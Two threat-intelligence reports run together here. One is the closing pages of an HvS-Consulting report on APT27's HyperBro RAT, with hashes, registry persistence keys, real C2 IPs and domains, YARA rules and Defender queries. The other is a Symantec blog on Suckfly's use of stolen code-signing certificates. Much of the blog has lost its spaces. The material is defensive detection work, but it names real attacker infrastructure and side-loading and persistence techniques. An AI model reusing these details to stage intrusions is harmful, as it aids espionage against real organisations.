(Windows NT 6.3 WOW64) AppleWebKit/53 7.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/5 37.36 HyperBro RAT - user agent Payload delivery filename PROGRAMFILES\Common Files\windefenders\vftrace.
dll HyperBro RAT - Stage 1 Payload delivery filename PROGRAMFILES\Common Files\windefenders\thumb.
dat HyperBro RAT - Stage 2 Payload delivery filename PROGRAMFILES\Common Files\windefenders\config.i ni File containing GUID created upon HyperBro execution Payload delivery filename PROGRAMFILES\Common Files\vfhost\VFTRACE.DLL HyperBro RAT - Stage 1 35 https://www.misp-project.org/ https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 https://www.misp-project.org/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 32 of 38 Category Type Value Comment Payload delivery filename PROGRAMFILES\Common Files\windefenders\msmpeng.exe HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery filename vftrace.dll HyperBro RAT - Stage 1 Payload delivery filename thumb.dat HyperBro RAT - Stage 2 Payload delivery filename config.ini File containing GUID created upon HyperBro execution Payload delivery filename msmpeng.exe HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery filename rar.exe Rar.exe (WinRar) Payload delivery imphash 182f35372e9fd050b6e0610238bcd9fd HyperBro RAT - Stage 1 Payload delivery md5 7655ff65f74f08ee2c54f44e5ef8f098 HyperBro RAT - Stage 1 Payload delivery md5 fa0b6ff0898acaa50563c1cb89524fcf HyperBro RAT - Stage 1 Payload delivery md5 3a528cc7cfa7d7cd338c285839c3c727 HyperBro RAT - Stage 2 Payload delivery md5 84f09d192ec90542ede22c370836ffa6 HyperBro RAT - Stage 2 Payload delivery md5 832415bba4378181e3c975f247b9d0e8 HyperBro RAT - Stage 1 Payload delivery md5 42be134aeca1d88024b0d1baac0726d2 HyperBro RAT - Stage 1 Payload delivery md5 161d3039d7ee393820acab012f4cc85e HyperBro RAT - Stage 1 Payload delivery md5 061b1d1378c06f9ed46b00fe202f39d8 HyperBro RAT - Stage 2 Payload delivery md5 4896a86615ef6835861404bb63a97d7a HyperBro RAT - Stage 2 Payload delivery md5 4109ac08bdc8591c7b46348eb1bca85d HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery md5 0af2e05abc0ea27d33aa92fc2924655a Rar.exe (WinRar) Payload delivery md5 60d5648d35bacf5c7aa713b2a0d267d3 Rar.exe (WinRar) Payload delivery md5 5c1c0bfdf0b3abcf4872b605dbea8b1a  HyperBro RAT - Stage 3 Payload delivery md5 80df708149bc7d2b19afd698def598f5  HyperBro RAT - Stage 2 (decrypted) Payload delivery sha1 3c7beb8978feac9ba8f5bab0656242232471bf7d HyperBro RAT - Stage 1 Payload delivery sha1 e0d6fcdf23c06c8e8016b0c93a1072c4bab0b659 HyperBro RAT - Stage 1 Payload delivery sha1 0dfbbaf0267d79bbe15b1f5a78e1f1bcceea99ca HyperBro RAT - Stage 2 Payload delivery sha1 7fb23c6b4db90b55694bdd1cc5c1b4c706a4e181 HyperBro RAT - Stage 2 Payload delivery sha1 7d92970e8394b20b887bf2de60408da15e260d9f HyperBro RAT - Stage 1 Payload delivery sha1 ba2ba390a13938de4d176addd7417ad9a1df2715 HyperBro RAT - Stage 1 Payload delivery sha1 6043a8e4f14ac398fd25c10f20d01ba00eb22883 HyperBro RAT - Stage 1 Payload delivery sha1 0acea28ddbfb86dc335c295475e5c9a2338bf4e3 HyperBro RAT - Stage 2 Payload delivery sha1 95739e00e606e8e7a5c2f658b05820db7ee51910 HyperBro RAT - Stage 2 Payload delivery sha1 6423d1c324522bfd2b65108b554847ac4ab02479 HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery sha1 755b979293a43e3a5de23933f35ec6a94b0971ee Rar.exe (WinRar) Payload delivery sha1 a62af4ac233d914a25e79ec0705e2a187ebd7567 Rar.exe (WinRar) Payload delivery sha1 6d24b289ab4819774ac250d5d4f024e9dee7579c  HyperBro RAT - Stage 3 Payload delivery sha1 d3cc018a28b39698bfa486f6e505be4c68573af0  HyperBro RAT - Stage 2 (decrypted) Payload delivery sha256 52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7 e0f4a30d008e22a7 HyperBro RAT - Stage 1 Payload delivery sha256 5aa4dffee6acd65092ddaf7192c1009befd14eb079e694f1 32707dcda22f9e7f HyperBro RAT - Stage 1 Payload delivery sha256 2ca4181d958369ff92121700c681442664454b0ec4f7942 984611cc64caeca61 HyperBro RAT - Stage 2 Payload delivery sha256 f2ba8b8aabf73020febd3a925276d52ce88f295537fe5772 3df714c13f5a8780 HyperBro RAT - Stage 2 Payload delivery sha256 333b52c2cfac56b86ee9d54aef4f0ff4144528917bc1aa1fe 1613efc2318339a HyperBro RAT - Stage 1 Payload delivery sha256 847fce4a6c3561f51bb94dc682a16908d4ce5b0cf9d4315d b6d642ad2a94f8bc HyperBro RAT - Stage 1 Payload delivery sha256 205aa1007e97a58ecb6e9f9a143ed7d337de98864d566d 8f6967a9496beff815 HyperBro RAT - Stage 1 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 33 of 38 Category Type Value Comment Payload delivery sha256 fd15d8bf6dd3858897dbc352b64577fd73cfd7ba4c3e4c7e 77a070fa43264216 HyperBro RAT - Stage 2 Payload delivery sha256 ba3a9382c0e5857f496e998635f8ba0ae2aedf4782defcbe 204eaeea5c7e8e24 HyperBro RAT - Stage 2 Payload delivery sha256 df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15 edbe28dcecb2a348 HyperBro RAT - legit CyberArk Software binary used for side-loading Payload delivery sha256 8c4b78ee13c6c7639086b46efdcdebf0cac37ab87fef99ab 2c7a72f217b5b03c Rar.exe (WinRar) Payload delivery sha256 4b16ea1b1273f8746cf399c71bfc1f5bff7378b5414b4ea04 4c55e0ee08c89d3 Rar.exe (WinRar) Payload delivery sha256 624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2 e2a5683a04e36213e8 HyperBro RAT - Stage 3 Payload delivery sha256 fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6 a5ef46f6eff67ed HyperBro RAT - Stage 2 (decrypted) Payload delivery x509- fingerprint- sha1 7cb43e5c475d7f369fb090e9a79fe1f841bd1309 HyperBro RAT - legit CyberArk Software binary used for side-loading Persistence mechanism regkey SOFTWARE\WOW6432Node\Microsoft\config_ HyperBro RAT - registry key used to persist C2 config Persistence mechanism regkey HKCU\Software\Microsoft\Windows\CurrentVersion\Run \windefenders HyperBro RAT - persistence mechanism HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 34 of 38 9.2 YARA Rules The following YARA rules can be used for the detection of the HyperBro malware.
Alternatively, you can use the THOR APT Scanner36 since it already includes these YARA detection rules as well as many more.
The YARA rules were also published in our GitHub repository.
One additional rule can be found there, which was too bulky for this report: https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 rule HvS_APT27_HyperBro_Decrypted_Stage2 meta: description  HyperBro Stage 2 and compressed Stage 3 detection license  https://creativecommons.org/licenses/by-nc/4.0/ author  Moritz Oettle reference  https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date  2022-02-07 hash1  fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed strings: lznt1_compressed_pe_header_small   FC B9 00 4D 5A 90  // This is the lznt1 compressed PE header lznt1_compressed_pe_header_large_1   FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 lznt1_compressed_pe_header_large_2   00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 lznt1_compressed_pe_header_large_3   00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 lznt1_compressed_pe_header_large_4   54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 lznt1_compressed_pe_header_large_5   61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 lznt1_compressed_pe_header_large_6   6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 condition: filesize  200KB and (lznt1_compressed_pe_header_small at 0x9ce) or (all of (lznt1_compressed_pe_header_large_))  36 https://www.nextron-systems.com/thor/ https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 https://www.nextron-systems.com/thor/ HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 35 of 38 rule HvS_APT27_HyperBro_Stage3 meta: description  HyperBro Stage 3 detection - also tested in memory license  https://creativecommons.org/licenses/by-nc/4.0/ author  Markus Poelloth reference  https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date  2022-02-07 hash1  624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8 strings: s1  \\cmd.exe /A fullword wide s2  vftrace.dll fullword wide s3  msmpeng.exe fullword wide s4  \\\\.\\pipe\\testpipe fullword wide s5  thumb.dat fullword wide g1  s\\d.exe fullword wide g2  https://s:d/api/v2/ajax fullword wide g3   -k networkservice fullword wide g4   -k localservice fullword wide condition: uint16(0)  0x5a4d and filesize  300KB and (( 4 of (s) ) or (4 of (g)))  rule HvS_APT27_HyperBro_Stage3_C2 meta: description  HyperBro Stage 3 C2 path and user agent detection - also tested in memory license  https://creativecommons.org/licenses/by-nc/4.0/ author  Marc Stroebel reference  https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date  2022-02-07 hash1  624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8 strings: s1  api/v2/ajax ascii wide nocase s2  Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 ascii wide nocase condition: all of them  HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 36 of 38 rule HvS_APT27_HyperBro_Stage3_Persistence meta: description  HyperBro Stage 3 registry keys for persistence license  https://creativecommons.org/licenses/by-nc/4.0/ author  Marko Dorfhuber reference  https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 date  2022-02-07 hash1  624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8 strings: SOFTWARE\\WOW6432Node\\Microsoft\\config_ ascii SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders ascii condition: 1 of them  9.3 Defender Detection Rules // description: Detects pipe of HyperBro used for IPC // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Markus Poelloth // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceEvents where ActionType  NamedPipeEvent and AdditionalFields contains testpipe // description: Detects big newly created rar files, as used by Emissary Panda for collection // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Moritz Oettle // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceFileEvents where ActionType  FileCreated where FileName endswith .rar where FileSize  5000000000 // 5 GB sort by FileSize desc HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell HvS-Consulting AG 2022   Page 37 of 38 // description: Detects C2 network events used by Emissary Panda // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Marc Stroebel // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 let IPs  pack_array(87.98.190.184, 34.90.207.23, 103.79.77.200, 104.168.236.46, 193.203.203.26, 103.79.78.48, 35.187.148.253, 107.148.131.210, 45.77.250.141, 74.119.194.153) let C2s  pack_array(dataanalyticsclub.com, image.dataanalyticsclub.com, fonts.dataanalyticsclub.com, avatars.dataanalyticsclub.com) DeviceNetworkEvents where RemoteIP in(IPs) or RemoteUrl in (C2s) // description: Detects commands used by Emissary Panda // notes: might be prone to false positives // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Marko Dorfhuber // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceProcessEvents where InitiatingProcessCommandLine  cmd.exe /A // description: Detects event that loads the malicious DLL of Emissary Panda based on name // notes: might be prone to false positives // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Moritz Oettle // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceImageLoadEvents where ActionType  ImageLoaded and FileName contains VFTRACE.DLL 1 Just Another Incident Response investigation?
2 The Major Vulnerabilities in 2021 3 A Spotlight on the Role of APT Groups 4 Lessons Learned from 2021 5 Timeline of the Attack 5.1 Phase 1: Initial Compromise 5.2  Phase 2: Persistence 5.3  Phase 3: Reaction and Last Data Exfiltration 6 Description of Observed TTPs 6.1 Resource Development 6.1.1 Develop Capabilities: Malware (T1587.001) 6.2 Initial Access 6.2.1 Exploit Public-Facing Application (T1190) 6.3 Execution 6.3.1 Windows Management Instrumentation (T1047) 6.4 Persistence 6.4.1 Create or Modify System Process: Windows Service (T1543.003) 6.4.2 Boot or Logon Autostart Execution: Registry Run Keys (T1547.001) 6.4.3 Valid Accounts: Domain Accounts (T1078.002) and Local Accounts (T1078.003) 6.5 Privilege Escalation 6.6 Defense Evasion 6.6.1 Hijack Execution Flow: DLL Search Order Hijacking (T1574.001) and DLL Side-Loading (T1574.002) 6.6.2 Modify Registry (T1112) 6.6.3 Process Injection: Process Hollowing (1055.012) 6.6.4 Masquerading: Service (T1036.004), filename, and file location (T1036.005) 6.7 Credential Access 6.7.1 OS Credential Dumping T1003 6.8 Discovery 6.8.1 Account Discovery (T1087.001) and Permission Groups Discovery T1069 6.8.2 Process Discovery T1057 6.8.3 System Information Discovery (T1082) 6.9 Lateral Movement 6.9.1 Remote Services: SMB Shares (T1021.002) 6.10 Collection 6.10.1 Archive via Utility (T1560.001) and Automated Collection (T1119) 6.10.2 Data Staged (T1074) 6.11 Command and Control 6.11.1 Application Layer Protocol: Web Protocols T1071.001 7 OSINT analysis of C2 infrastructure 8 Malware Analysis of HyperBro 8.1 Overview 8.2 PE Loader 8.3 Capabilities 8.4 HyperBro Configuration Extractor 9 Detection of Emissary Pandas activities 9.1 Indicators of Compromise (IOCs) 9.2 YARA Rules 9.3 Defender Detection Rules
Suckfly:Revealingthesecretlifeofyourcodesigningcertificates AChinabasedAPTgrouphasaninsatiableappetiteforstolencodesigningcertificates.
By:Jon_DiMaggio(/connect/user/jondimaggio) Created15Mar2016 0 Share Viewtheindicatorsofcompromise(connect/blogs/suckflyrevealingsecretlifeyourcodesigningcertificatesconnectanchorlinkiocs)forthisattackgroup.
Manysecuritymindedorganizationsutilizecodesigningtoprovideanadditionallayerofsecurityandauthenticityfortheirsoftwareandfiles.
Codesigningis carriedoutusingatypeofdigitalcertificateknownasacodesigningcertificate.
Theprocessofcodesigningvalidatestheauthenticityoflegitimatesoftwareby confirmingthatanapplicationisfromtheorganizationwhosignedit.
Whilecodesigningcertificatescanoffermoresecurity,theycanalsoliveanunintended secretlifeprovidingcoverforattackgroups,suchastheSuckflyAPTgroup.
Inlate2015,Symantecidentifiedsuspiciousactivityinvolvingahackingtoolusedinamaliciousmanneragainstoneofourcustomers.
Normally,thisis consideredalowlevelalerteasilydefeatedbysecuritysoftware.
Inthiscase,however,thehacktoolhadanunusualcharacteristicnottypicallyseenwiththis typeoffileitwassignedwithavalidcodesigningcertificate.
Manyhacktoolsaremadeforlessthanethicalpurposesandarefreelyavailable,sothiswasan initialredflag,whichledustoinvestigatefurther.
Asourinvestigationcontinued,wesoonrealizedthiswasmuchlargerthanafewhacktools.
WediscoveredSuckfly,anadvancedthreatgroup,conducting targetedattacksusingmultiplestolencertificates,aswellashacktoolsandcustommalware.
Thegrouphadobtainedthecertificatesthroughpreattack operationsbeforecommencingtargetedattacksagainstanumberofgovernmentandcommercialorganizationsspreadacrossmultiplecontinentsoveratwo yearperiod.
Thistypeofactivityandthemalicioususeofstolencertificatesemphasizestheimportanceofsafeguardingcertificatestopreventthemfrombeing usedmaliciously.
Anappetiteforstolencodesigningcertificates Suckflyhasanumberofhacktoolsandmalwarevarietiesatitsdisposal.
Figure1identifiesthemalwareandtoolsbasedonfunctionalityandthenumberof signedfileswithuniquehashesassociatedwiththem.
Figure1.Suckflyhackingtoolsandmalware,characterizedbyfunctionality Thefirstsignedhacktoolweidentifiedinlate2015wasadigitallysignedbruteforceservermessageblock(SMB)scanner.
Theorganizationassociatedwith thiscertificateisaSouthKoreanmobilesoftwaredeveloper.
Whilewebecameinitiallycuriousbecausethehacktoolwassigned,webecamemoresuspicious whenwerealizedamobilesoftwaredeveloperhadsignedit,sincethisisnotthetypeofsoftwaretypicallyassociatedwithamobileapplication.
Basedonthisdiscovery,webegantolookforotherbinariessignedwiththeSouthKoreanmobilesoftwaredeveloperscertificate.
Thisledtothediscoveryof threeadditionalhacktoolsalsosignedusingthiscertificate.
Inadditiontobeingsignedwithastolencertificate,theidentifiedhacktoolshadbeenusedin suspiciousactivityagainstaUSbasedhealthprovideroperatinginIndia.
Thisevidenceindicatesthatthecertificatesrightfulownereithermisuseditorithad beenstolenfromthem.
Symantecworkedwiththecertificateownertoconfirmthatthehacktoolwasnotassociatedwiththem.
Followingthetrailfurther,wetracedmalicioustrafficbacktowhereitoriginatedfromandlookedforadditionalevidencetoindicatethattheattackerpersistently usedthesameinfrastructure.
WediscoveredtheactivityoriginatedfromthreeseparateIPaddresses,alllocatedinChengdu,China.
InadditiontothetrafficoriginatingfromChengdu,weidentifiedaselectionofhacktoolsandmalwaresignedusingninestolencertificates.
TheninestolencertificatesoriginatedfromninedifferentcompanieswhoarephysicallylocatedclosetogetheraroundthecentraldistrictsofSeoul,South Korea.
Figure2showstheregioninwhichthecompaniesarelocated.
Figure2.MapshowingthecentraldistrictsofSeoul,wherethecompanieswiththestolencertificatesarelocated(Mapdata2016SKplanet) Whilewedonotknowtheexactcircumstancesofhowthecertificateswerestolen,themostlikelyscenariowasthatthecompanieswerebreachedwith malwarethathadtheabilitytosearchforandextractcertificatesfromwithintheorganization.
Wehaveseenthiscapabilitybuiltintoawiderangeofthreatsfor anumberofyearsnow(http://www.symantec.com/connect/blogs/howattackersstealprivatekeysdigitalcertificates).
Theorganizationswhoownedthestolencertificateswerefromfourindustries(seeFigure3).
(
/connect/)  Blogs(/connect/blogs)  SecurityResponse(/connect/symantecblogs/symantecsecurityresponse) SecurityResponse (https://twitter.com/threatintel)  (http://www.symantec.com/connect/itemfeeds/blog/2261/feed/all/en/all) SymantecOfficialBlog SYMANTECEMPLOYEE 4 4Votes http://www.symantec.com/connect/user/jondimaggio http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificatesconnect-anchor-link-iocs http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates http://www.symantec.com/connect/ http://www.symantec.com/connect/blogs http://www.symantec.com/connect/symantec-blogs/symantec-security-response http://www.symantec.com/connect/ https://twitter.com/threatintel http://www.symantec.com/connect/item-feeds/blog/2261/feed/all/en/all Figure3.Ownersofstolencertificates,byindustry Atimelineofmisuse WedontknowtheexactdateSuckflystolethecertificatesfromtheSouthKoreanorganizations.
However,byanalyzingthedateswhenwefirstsawthe certificatespairedwithhacktoolsormalware,wecangaininsightintowhenthecertificatesmayhavebeenstolen.
Figure4detailshowmanytimeseachstolen certificatewasusedinagivenmonth.
Figure4.TrackingSuckflysuseofstolencertificates,bymonth Thefirstsightingofthreeoftheninestolencertificatesbeingusedmaliciouslyoccurredinearly2014.Thosethreecertificatesweretheonlyonesusedin2014, makingitlikelythattheothersixwerenotcompromiseduntil2015.Allninecertificateswereusedmaliciouslyin2015.
BasedonthedatainFigure4,thefirstcertificatesusedbelongedtoCompanyA(educationalsoftwaredeveloper)andCompanyB(videogamedeveloper2).
CompanyAscertificatewasusedforoverayear,fromApril2014untilJune2015andCompanyBscertificatewasusedforalmostayear,fromJuly2014until June2015.Whenwediscoveredthisactivity,neithercompanywasawarethattheircertificateshadbeenstolenorhowtheywerebeingused.
Sincethe companieswereunawareoftheactivity,neitherstolencertificatehadbeenrevoked.
Whenacertificateisrevoked,thecomputerdisplaysawindowexplaining thatthecertificatecannotbeverifiedandshouldnotbetrustedbeforeaskingtheuseriftheywanttocontinuewiththeinstallation.
Signed,sealed,anddelivered Asnotedearlier,thestolencertificatesSymantecidentifiedinthisinvestigationwereusedtosignbothhackingtoolsandmalware.
Furtheranalysisofthe malwareidentifiedwhatlookslikeacustombackdoor.
WebelieveSuckflyspecificallydevelopedthebackdoorforuseincyberespionagecampaigns.
SymantecdetectsthisthreatasBackdoor.
Nidiran(https://www.symantec.com/security_response/writeup.jsp?docid2015120123552199).
AnalysisofNidiransamplesdeterminedthatthebackdoorhadbeenupdatedthreetimessinceearly2014,whichfitsthetimelineoutlinedinFigure4.The modificationswereminorandlikelyperformedtoaddcapabilitiesandavoiddetection.
Whilethemalwareiscustom,itonlyprovidestheattackerswithstandard backdoorcapabilities.
SuckflydeliveredNidiranthroughastrategicwebcompromise.
Specifically,thethreatgroupusedaspeciallycraftedwebpagetodeliveranexploitforthe MicrosoftWindowsOLERemoteCodeExecutionVulnerability(http://www.symantec.com/security_response/vulnerability.jsp?bid70952)(CVE20146332), whichaffectsspecificversionsofMicrosoftWindows.
ThisexploitistriggeredwhenapotentialvictimbrowsestoamaliciouspageusingInternetExplorer, whichcanallowtheattackertoexecutecodewiththesameprivilegesasthecurrentlyloggedinuser.
Onceexploithasbeenachieved,Nidiranisdeliveredthroughaselfextractingexecutablethatextractsthecomponentstoa.tmpfolderafterithasbeen executed.
Thethreatthenexecutessvchost.exe,aPEfile,whichisactuallyacleantoolknownasOLEVIEW.EXE.Theexecutablewillthenloadiviewers.dll, whichisnormallyaclean,legitimatefile.
Attackershavebeenknowntodistributemaliciousfilesmasqueradingasthelegitimateiviewers.dllfileandthenuse DLLloadhijackingtoexecutethemaliciouscodeandinfectthecomputer.
ThistechniqueisassociatedwiththeKorplug/Plugxmalware (http://www.symantec.com/connect/blogs/backdoorkorplugloadingmaliciouscomponentsthroughtrustedapplications)andisfrequentlyusedinChinabased cyberespionageactivity.
Highdemandforcodesigningcertificates Suckflyisnttheonlyattackgrouptousecertificatestosignmalwarebuttheymaybethemostprolificcollectorsofthem.
Afterall,Stuxnet (http://www.symantec.com/security_response/writeup.jsp?docid2010071400312399),widelyregardedastheworldsfirstknowncyberweapon,wassigned usingstolencertificates(http://www.welivesecurity.com/2010/07/22/whystealdigitalcertificates/)fromcompaniesbasedinTaiwanwithdatesmuchearlierthan Suckfly.
Othercyberespionagegroups,includingBlackVine(http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the blackvinecyberespionagegroup.pdf)andHiddenLynx(https://www.google.com/url?
satrctjqesrcssourcewebcd1cadrjauact8ved0ahUKEwjJxpKJjKjLAhUY1GMKHac1DkEQFgggMAAurlhttp3A2F2Fwww.symantec.com2Fcontent2Fen2Fus2Fenterprise2Fmedia2Fsecurity_response2Fwhitepapers2Fhidden_lynx.pdfusgAFQjCNHSDsX6EuF1cDE0DELMKbjv4MP3lw), havealsousedstolencertificatesintheircampaigns.
InApril2013,athirdpartyvendorpublishedareportaboutacyberespionagegroupusingcustommalwareandstolencertificatesintheiroperations (https://threatpost.com/winnticyberespionagecampaigntargetsgamingcompanies041113/77717/).Thereportdocumentedanadvancedthreatgroupthey attributedtoChina.
SymantectracksthegroupbehindthisactivityasBlackflyanddetectsthemalwaretheyuseasBackdoor.
Winnti (https://www.symantec.com/security_response/writeup.jsp?docid2011102716280999).
TheBlackflyattackssharesomesimilaritieswiththemorerecentSuckflyattacks.
Blackflybeganwithacampaigntostealcertificates,whichwerelaterusedto signmalwareusedintargetedattacks.
ThecertificatesBlackflystolewerealsofromSouthKoreancompanies,primarilyinthevideogameandsoftware developmentindustry.
AnothersimilarityisthatSuckflystoleacertificatefromCompanyD(seeFigure4)lessthantwoyearsafterBlackflyhadstolena certificatefromthesamecompany.
Whilethestolencertificatesweredifferent,andstoleninseparateinstances,theywerebothusedwithcustommalwarein targetedattacksoriginatingfromChina.
Whydoattackerswantsignedmalware?
Signingmalwarewithcodesigningcertificatesisbecomingmorecommon,asseeninthisinvestigationandtheotherattackswehavediscussed.
Attackersare takingthetimeandefforttostealcertificatesbecauseitisbecomingnecessarytogainafootholdonatargetedcomputer.
Attemptstosignmalwarewithcode signingcertificateshavebecomemorecommonastheInternetandsecuritysystemshavemovedtowardsamoretrustandreputationorientedmodel.
This meansthatuntrustedsoftwaremaynotbeallowedtorununlessitissigned.
AswenotedinourpreviousresearchontheApplethreatlandscape (http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf),someoperatingsystems (https://support.apple.com/enus/HT202491),suchasMacOSX,areconfiguredbydefaulttoonlyallowapplicationstoruniftheyhavebeensignedwithavalid certificate,meaningtheyaretrusted.
https://www.symantec.com/security_response/writeup.jsp?docid2015-120123-5521-99 http://www.symantec.com/security_response/vulnerability.jsp?bid70952 http://www.symantec.com/connect/blogs/backdoorkorplug-loading-malicious-components-through-trusted-applications http://www.symantec.com/security_response/writeup.jsp?docid2010-071400-3123-99 http://www.welivesecurity.com/2010/07/22/why-steal-digital-certificates/ http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf https://www.google.com/url?satrctjqesrcssourcewebcd1cadrjauact8ved0ahUKEwjJxpKJjKjLAhUY1GMKHac1DkEQFgggMAAurlhttp3A2F2Fwww.symantec.com2Fcontent2Fen2Fus2Fenterprise2Fmedia2Fsecurity_response2Fwhitepapers2Fhidden_lynx.pdfusgAFQjCNHSDsX6EuF1cDE0DELMKbjv4MP3lw https://threatpost.com/winnti-cyberespionage-campaign-targets-gaming-companies-041113/77717/ https://www.symantec.com/security_response/writeup.jsp?docid2011-102716-2809-99 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf https://support.apple.com/en-us/HT202491 Figure5.MacOSXcanbeconfiguredtoonlypermittrustedappstoexecute However,usingvalidcodesigningcertificatesstolenfromorganizationswithapositivereputationcanallowattackerstopiggybackonthatcompanystrust, makingiteasiertoslipbythesedefensesandgainaccesstotargetedcomputers.
Conclusion Suckflypaintsastarkpictureofwherecyberattackgroupsandcybercriminalsarefocusingtheirattentions.
Ourinvestigationshinesalightonanoftenunknown andseediersecretlifeofcodesigningcertificates,whichiscompletelyunknowntotheirowners.
Theimplicationsofthisstudyshowsthatcertificateowners needtokeepacarefuleyeonthemtopreventthemfromfallingintothewronghands.
Itisimportanttogivecertificatestheprotectiontheyneedsotheycant beusedmaliciously.
Thecertificatesareonlyassecureasthesafeguardsthatorganizationsputaroundthem.
Onceacertificatehasbeencompromised,sohasthereputationof theorganizationwhosignedit.
Anorganizationwhosecertificatehasbeenstolenandusedtosignmalwarewillalwaysbeassociatedwiththatactivity.
Symantecmonitorsforthistypeofactivitytohelppreventorganizationsfrombeingtiedtomaliciousactionsundertakenwiththeirstolencertificates.
Duringthe courseofthisinvestigation,weensuredthatallcertificatescompromisedbySuckflywererevokedandtheaffectedcompaniesnotified.
Overthepastfewyears,wehaveseenanumberofadvancedthreatsandcybercrimegroups(http://www.symantec.com/connect/blogs/howattackerssteal privatekeysdigitalcertificates)whohavestolencodesigningcertificates.
Inallofthecasesinvolvinganadvancedthreat,thecertificateswereusedto disguisemalwareasalegitimatefileorapplication.
Asthistrendgrows,itismoreimportantthaneverfororganizationstomaintainstrongcybersecuritypracticesandstoretheircertificatesandcorresponding keysinasecureenvironment.
Usingencryption,andservicessuchasSymantecsExtendedValidation(EV)CodeSigning(http://www.symantec.com/code signing/extendedvalidation/datasheetswhitepapers/),andSymantecsSecureAppService(https://www.symantec.com/codesigning/secureappservice/) canprovideadditionallayersofsecurity.
Protection SymantechasthefollowingdetectionsinplacetoprotectagainstSuckflysmalware: Antivirus Backdoor.
Nidiran(https://www.symantec.com/security_response/writeup.jsp?docid2015120123552199) Backdoor.
Nidirang1(http://www.symantec.com/security_response/writeup.jsp?docid2015120200034299) Hacktool(http://www.symantec.com/security_response/writeup.jsp?docid2001081707255099) Exp.
CVE20146332(https://www.symantec.com/security_response/writeup.jsp?docid2014111313551099) Intrusionpreventionsystem WebAttack:MicrosoftOleAut32RCECVE20146332(http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28032) WebAttack:MicrosoftOleAut32RCECVE201463322(http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27813) WebAttack:MicrosoftOleAut32RCECVE201463324(http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid70116) WebAttack:OLEAUT32CVE201463323(http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28890) SystemInfected:Trojan.
BackdoorActivity120(https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28977) Furtherinformation TolearnmoreaboutSymantecsdigitalcertificatesolutionsforcodesigning,pleasevisitourCodeSigningInformationCenter (https://www.symantec.com/page.jsp?idcodesigninginformationcenter).
